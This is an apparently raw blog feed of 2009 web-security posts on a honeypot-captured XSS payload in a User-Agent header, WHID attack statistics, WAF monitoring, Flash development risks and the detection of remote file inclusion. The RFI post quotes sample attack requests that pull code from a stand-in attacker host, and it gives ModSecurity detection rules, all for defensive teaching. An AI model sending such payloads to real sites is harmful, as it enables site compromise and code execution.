&lt;br /&gt;&lt;br /&gt;Well, in looking at the honeypot logs today, I noticed an interesting XSS attack vector - injecting the XSS code into the request User-Agent string.  Here is an example of the captured data -&lt;br /&gt;&lt;blockquote&gt;GET &lt;a href="http://www.tqlkg.com/image-2707303-10559226" target="_blank"&gt;http://www.example.com/&lt;wbr&gt;image-2707303-10559226&lt;/a&gt; HTTP/1.1&lt;table style="margin: 0px;" border="0" cellpadding="0" cellspacing="2"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;wbr&gt;Accept: image/gif, image/x-xbitmap, &lt;wbr&gt;image/jpeg, image/pjpeg, &lt;wbr&gt;image/png, */*&lt;br /&gt;Referer: &lt;a href="http://www.financeinsure.co.uk/" target="_blank"&gt;http://www.example.co.&lt;wbr&gt;uk/&lt;/a&gt;&lt;br /&gt;Accept-Language: en-us&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE &lt;wbr&gt;6.0; Windows NT 5.1; SV1; .&lt;wbr&gt;NET CLR 1.1.4322;&lt;span style="font-weight: 600;"&gt; &amp;lt;script&amp;gt;window.&lt;wbr&gt;open('&lt;a href="http://www.medchecker.com/side.htm" target="_blank"&gt;http://www.medchecker.&lt;wbr&gt;com/side.htm&lt;/a&gt;','_search')&amp;amp;l&lt;/span&gt;&lt;span style="font-weight: 600;"&gt;t;/script&amp;gt;)&lt;/span&gt;&lt;br /&gt;Host: &lt;a href="http://www.tqlkg.com/" target="_blank"&gt;www.example.com&lt;/a&gt;&lt;br /&gt;Connection: Keep-Alive&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/blockquote&gt;&lt;table style="margin: 0px;" border="0" cellpadding="0" cellspacing="2"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Notice the window.open javascript code in the UA payload?  The intent here seems to be to target any web-based log analysis tool.  So, now that you know that the User-Agent data is a possible attack vector, the question is are you applying proper input validation/signature checking there?  Are you logging this data to know if clients are attempting this attack?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-1560480286223577686?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/1560480286223577686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=1560480286223577686' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/1560480286223577686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/1560480286223577686'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/08/wasc-distributed-open-proxy-honeypot.html' title='WASC Distributed Open Proxy Honeypot Update - XSS in User-Agent Field'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-7857041732561175781</id><published>2009-08-17T10:14:00.006-04:00</published><updated>2009-08-17T11:58:42.455-04:00</updated><title type='text'>WASC WHID 2009 Bi-Annual Report - Social Media Sites Top Most Attacked Vertical Market</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 8/17/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Do you remember that line from the movie &lt;a href="http://www.imdb.com/title/tt0097351/"&gt;Field of Dreams&lt;/a&gt;: "&lt;span style="font-style: italic;"&gt;If you build it, they will come&lt;/span&gt;"?  Well, according to the data captured from the &lt;a href="http://www.webappsec.org"&gt;Web Application Security Consortium&lt;/a&gt; (WASC) &lt;a href="http://www.xiom.com/whid"&gt;Web Hacking Incidents Database&lt;/a&gt; (WHID) project, online criminals are re-enforcing that movie quote.  The fact is that profit driven criminals have learned that they can utilize social networking types of web sites (such as Twitter, Facebook and MySpace) as a means to target the huge number of end users.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.breach.com/resources/breach-security-labs/index.html"&gt;Breach Security Labs&lt;/a&gt;, a WHID contributor, has just released a &lt;a href="http://www.breach.com/WHID2009"&gt;whitepaper&lt;/a&gt; report that analyzes the WHID events from the first half of 2009.  In the report, it was found that Social Networking sites (such as Twitter) that utilize Web 2.0 types of dynamic, user-content driven data, are the #1 targeted vertical market.  The reason for this is really two-fold:&lt;br /&gt;&lt;br /&gt;1) Criminals are now directly targeting the web application end-users.  The bad guys are using flaws within web applications to attempt to send malicious code to end users.  Popular websites that have large user bases are now ripe targets for criminals.  These are target rich environments.&lt;br /&gt;&lt;br /&gt;2) Social networking sites are so popular partly because they allow their users to customize and update their accounts with user-driven content, widgets and add-ons.  These features make the sites dynamic and fun for the end users, however they also unfortunately also significantly increase the cross-site scripting (XSS) and cross-site request forgery (CSRF) attack surfaces.&lt;br /&gt;&lt;br /&gt;The combination of these two points resulted in a number of different social media WHID 2009 Entries:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-2009-2"&gt;WHID 2009-2: Twitter accounts of the famous hacked&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-2009-4"&gt;WHID 2009-4: Twitter Personal Info CSRF&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/WHID/2009/11/Lil_Kim_Facebook_Hacked"&gt;WHID 2009-11: Lil Kim Facebook Hacked&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid/2009/15/Kanye_West_has_been_hacked"&gt;WHID 2009-15: Kayne West has been Hacked&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid/2009/23/miley_cyrus_twitter_account_hit_by_sex-obsessed_hacker"&gt;WHID 2009-23: Miley Cyrus Twitter Account Hit By Sex-Obsessed Hacker&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid/2009/31/twitter_clickjacking"&gt;WHID 2009-31: Double Clickjacking worm on Twitter&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid/2009/32/twitter_brute_force"&gt;WHID 2009-32: 750 Twitter Accounts Hacked&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid/2009/37/twitter_csrf_xss"&gt;WHID 2009-37: Twitter XSS/CSRF worm series&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These examples clearly show that social networking sites that utilize Web 2.0 technology are the #1 attacked vertical market in WHID.  This is important as social networking were grouped in the Other category in 2008.  I would suspect the trend of targeting large pools of end users to continue in the future as the bad guys work on methods of automating and scaling their attacks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-7857041732561175781?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/7857041732561175781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=7857041732561175781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7857041732561175781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7857041732561175781'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/08/wasc-whid-2009-bi-annual-report-social.html' title='WASC WHID 2009 Bi-Annual Report - Social Media Sites Top Most Attacked Vertical Market'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-715956239533001790</id><published>2009-06-22T16:45:00.008-04:00</published><updated>2009-06-26T09:19:52.607-04:00</updated><title type='text'>We've been blind to attacks on our Web sites</title><content type='html'>&lt;i&gt;&lt;blockquote&gt;&lt;/blockquote&gt;Submitted by Ryan Barnett 6/22/2009&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There was an interesting article posted over on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Inforworld's&lt;/span&gt; website entitled &lt;a href="http://www.infoworld.com/t/security/weve-been-blind-attacks-our-web-sites-516"&gt;We've been blind to attacks on our Web sites&lt;/a&gt; that drives home an important use-case for web application firewalls - &lt;b&gt;visibility of web traffic&lt;/b&gt;.  Too many people get caught up in the "Block attacks with a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;WAF&lt;/span&gt;" mentality that they forget about the insight that can be gained into simply having full access to the inbound request and response data.  From the article -&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  font-style: italic; line-height: 20px; font-family:'Lucida Grande';font-size:18px;"&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Of course, as the security manager, I can't afford a false sense of security, so I recently took some steps to find out just what was going on within our Web servers' network traffic. And it turns out that many attacks have been getting through our firewalls undetected. We'll never know how long this has been going on.&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;This is a typical first reaction.  Most of today's network firewalls have some sort of Deep Packet Inspection capabilities however most people don't use it due to performance hits.  The firewalls are mainly geared towards either allowing a connection or not based on the source destination &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;IPs&lt;/span&gt; and Port combos instead of the actual application payloads.  This is somewhat like when you use the telephone to call someone.  A &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;firewall&lt;/span&gt; would just check to see if you are allowed to call that phone number or not but it doesn't usually look at what you are actually saying in the conversation once you are connected.  The other big &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;hindrance&lt;/span&gt; to inspecting web traffic at a network firewall is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;SSL&lt;/span&gt;.  You have to be able to decrypt the layer 7 data in order to inspect it.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'Lucida Grande';"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;My company's front-end Web servers, which directly receive connections from the Internet through our firewalls, are definitely a hot spot in our network. The firewalls and IDS allow us to see some of what's going on, but can they really detect active content-based attacks? To find out, I installed a Web application firewall in my company's DMZ to tell us about active attacks that may not be identified by our other devices. I set the device up in monitor mode, though it can be set up to block attacks, because my goal was just to see what was going on. I wanted to know more about what's inside the connections to those Web servers.&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;This section shows that the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;WAF&lt;/span&gt; can initially be deployed in a "Detection Only" or monitoring mode to allow for visibility.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'Lucida Grande';"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;i&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;What I discovered is that our Web sites are being "scraped" by other companies -- our competitors! Some of the information on our sites is valuable intellectual property. It is provided online, in a restricted manner (passwords and such), to our customers. Such restrictions aren't very difficult to overcome for the Web crawlers that our competitors are using, because webmasters usually don't know much about security. They make a token attempt to put passwords and restrictions on sensitive files, but they often don't do a very good job.&lt;/span&gt;&lt;/blockquote&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Scraping attacks that are executed by legitimate users and aim to siphon off large amounts of data are a serious threat to many organizations.  They types of attacks can not be identified by signature based rules as there is no overt malicious behavior to identify if only one individual transaction is inspected.  Behavioral &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;analysis&lt;/span&gt; needs to be employed to correlate multiple transactions over a specified time period to see if the there is an excessive rate being used.  Anti-automation defenses here are critical.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'Lucida Grande';"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Our Web application firewall found some other problems as well. We experience hundreds of &lt;/span&gt;&lt;/i&gt;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9001878" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; font-weight: bold; "&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; injection attack&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; attempts every day. So far, none has been successful, but I'm amazed at the sheer volume. I can't imagine anyone having the time to sit around trying &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; injection attacks against random Web servers, so I have to assume that these attacks are coming from automated scripts. In any case, they are textbook examples of &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; injection, each one walking through various combinations of &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; code embedded in HTML. It looks like we've done a good job of securing our Web applications against these attacks, but it's always a little disconcerting to hear invaders pounding on the door.&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;As this section of the article shows, having visibility into the types of automated attacks being launched against a web application provides two key pieces of data -&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Understanding of the Threat component of the Risk equation&lt;/b&gt; - there are many academic types of debates and discussions that happen early on in the development of software.  One of the more challenging aspects to quantify is the threat.  Is there really anyone out there targeting our sites?  Where are they coming from?  What attacks are they launching?  Without this type of confirmed data obtained from the production network, it is difficult to accurately do threat modeling.&lt;/li&gt;&lt;li&gt;&lt;b&gt;V&lt;/b&gt;&lt;b&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;alidation&lt;/span&gt; of secure coding practices&lt;/b&gt; - it will become evident very quickly whether or not the web application is vulnerable to these types of injection attacks.  If the application does not implement proper input validation mechanisms, then there is a possibility that the injected code will be executed and the application will respond abnormally.  By inspecting both the inbound request and the outbound response, it is possible to confirm if/when/where input validation is faltering.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-715956239533001790?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/715956239533001790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=715956239533001790' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/715956239533001790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/715956239533001790'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/06/weve-been-blind-to-attacks-on-our-web.html' title='We&apos;ve been blind to attacks on our Web sites'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-926071308653073829</id><published>2009-06-15T12:54:00.002-04:00</published><updated>2009-06-30T13:25:18.664-04:00</updated><title type='text'>Challenges to webappsec - lightweight development</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 6/15/2009&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lightweight development of web applications (using WYWIWYG editors such as Shockwave/Flash) has created an interesting hiring trend that I believe has negatively impacted web application security.  Due to the fact that these web development tools are so easy to use, they do not need to be run by an actual programmer.  This fact has resulted in a major shift of web content being created by Graphic Designers instead of actual web application developers.  Here is an actual job posting that I just ran across that confirms this trend:  &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; color: rgb(109, 54, 154); font-size: 13px; font-weight: bold; "&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; color: rgb(109, 54, 154); font-size: 13px; font-weight: bold; "&gt;About the Job&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 13px; "&gt;&lt;div id="jobBodyContent" style="font-size: 10px; line-height: normal; word-wrap: break-word; "&gt;&lt;span id="TrackingJobBody" name="TrackingJobBody"&gt;&lt;span style="font-family: 'times new roman'; font-size: 18px; "&gt;&lt;strong&gt;Web Graphic Designer / Flash Designer&lt;p style="color: rgb(0, 0, 0); margin-bottom: 10px; "&gt;&lt;/p&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'times new roman'; font-size: 18px; "&gt;Direct Response company is seeking a full-time, talented web designer who can hit the ground running, working with in-house designers to help design and develop concepts and web campaigns for various products. &lt;b&gt;This is NOT a programming and/or developer position&lt;/b&gt;, we are looking for graphic designers who are experienced in web design.&lt;/span&gt; &lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;This may not pose any significant security issues if you are only displaying a dynamic intro page to your site, however these types of applications are doing more and more these days.  There are been numerous security vulnerabilities identified within Flash applications such as XSS and there are even been some assessment tools released such as &lt;a href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx"&gt;SWFScan&lt;/a&gt; to help find issues.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The big problem that I see is that it is hard enough to try and develop secure web application code when you have a true developer who is trained in secure coding principles.  You don't have a fighting chance of having secure code if you now ask someone who is not a developer and is using a lightweight development tool like Flash.  To make matters worse, if you are in this scenario and then you do happen to run vulnerability assessments against the resulting code, what are you going to do to fix the issue???  Good luck having your Graphic Designer fix the CSRF bug you found in their splash page. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-926071308653073829?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/926071308653073829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=926071308653073829' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/926071308653073829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/926071308653073829'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/06/challenges-to-webappsec-lightweight.html' title='Challenges to webappsec - lightweight development'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-8108412177140746923</id><published>2009-06-10T08:35:00.006-04:00</published><updated>2009-06-29T09:45:35.474-04:00</updated><title type='text'>Generic Remote File Inclusion Attack Detection</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 6/10/2009&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;A big challenge for identifying web application attacks is to detect malicious activity that cannot easily be spotted using using signatures.  Remote file inclusion (RFI) is a popular technique used to attack web applications (especially php applications) from a remote server.  RFI attacks are extremely dangerous as they allow a client to to force an vulnerable application to run their own malicious code by including a reference pointer to code from a URL located on a remote server.  When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The application vulnerability leading to RFI is a result of insufficient validation on user input.  In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn’t contain invalid characters or reference to an unauthorized external location.  Or Katz, who is the WebDefend signature team lead at Breach Security recently gave a &lt;a href="http://www.owasp.org/images/6/67/OWASP_Israel_-_March_2009_-_Or_Katz_-_RFI_detection.pdf"&gt;presentation&lt;/a&gt; at the OWASP Local Chapter meeting in Israel and Breach Security Labs has since released a &lt;a href="http://www.breach.com/resources/whitepapers/downloads/WP_Detecting_Remote_File.pdf"&gt;whitepaper&lt;/a&gt; based on his research.  I would like to highlight a few of the detection items that were presented.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Challenges to Generic Detection&lt;/b&gt;&lt;/div&gt;&lt;div&gt;When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to use the following regular expression to search for a signature such as “&lt;b&gt;(ht|f)tps?://&lt;/b&gt;” within parameter payloads.  This initially seems like a good approach as this would identify the beginning portions of a fully qualified URI.  While this is true, this approach will unfortunately result in many false positives due to the following:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;There are request parameters which are used as external link (e.g. - accepts http:// as valid input) that point either back to the local host (WordPress and other apps do this) or legitimately point to a resource on a remote site.&lt;/li&gt;&lt;li&gt;There are "free text" request parameters that are prone to false positives. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;URL Contains an IP Address&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Most legitimate URL referencing is done by specifying an actual domain/hostname and as such using an IP address as external link may indicate an attack.   A typical attack using an IP address looks like:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;GET /?include=&lt;b&gt;http://&lt;i&gt;192.0.55.2&lt;/i&gt;/hacker.txt&lt;/b&gt; HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Host: www.test.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?:\/\/” followed by an IP address.  An example &lt;a href="http://www.modsecurity.org/"&gt;ModSecurity&lt;/a&gt; rule to detect it is:&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;SecRule ARGS "@rx (ht|f)tps?:\/\/([\d\.]+)" \&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:Remote File Inclusion.'"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;The PHP "include()" Function&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Breach Security Labs has seen any attack vectors (from customer logs and honeypot data samples) that try to include remote file by using the PHP "include" keyword function.  A typical attack using an include PHP keyword looks like:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;GET /?id={&lt;b&gt;&lt;i&gt;${include("&lt;/i&gt;&lt;/b&gt;http://www.malicuos_site.com/hacker.txt")}}{${exit()}}HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Host: www.test.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?:\/\/”.  An example ModSecurity rule to detect this is:&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;SecRule ARGS "@rx \binclude\s*\([^)]*(ht|f)tps?:\/\/" \&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion'"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;RFI Data Ends with a Question Mark (?)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Appending question marks to the end of the injected RFI payload is a common technique and is somewhat similar to SQL Injection payloads utilizing comment specifiers (--, ;-- or #) at the end of their payloads.  The RFI attackers don't know what the remainder of the PHP code that they are going to be included into is supposed to do.  So, by adding the "?" character, the remainder of the local PHP code is actually treated as a parameter to the RFI included code.  The RFI code then simply ignores the legitmate code and only executes its own. A typical attack using a question mark at end looks like:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;GET /?include=&lt;i&gt;http://www.malicuos_site.com/hacker.txt&lt;b&gt;? &lt;/b&gt;&lt;/i&gt;HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Host: www.test.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;A rule for detecting such a condition such an attack should search for “(ft|htt)ps?.*\?$”. An example ModSecurity rule to detect it is:&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;SecRule ARGS "@rx (ft|htt)ps?.*\?+$" \&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File 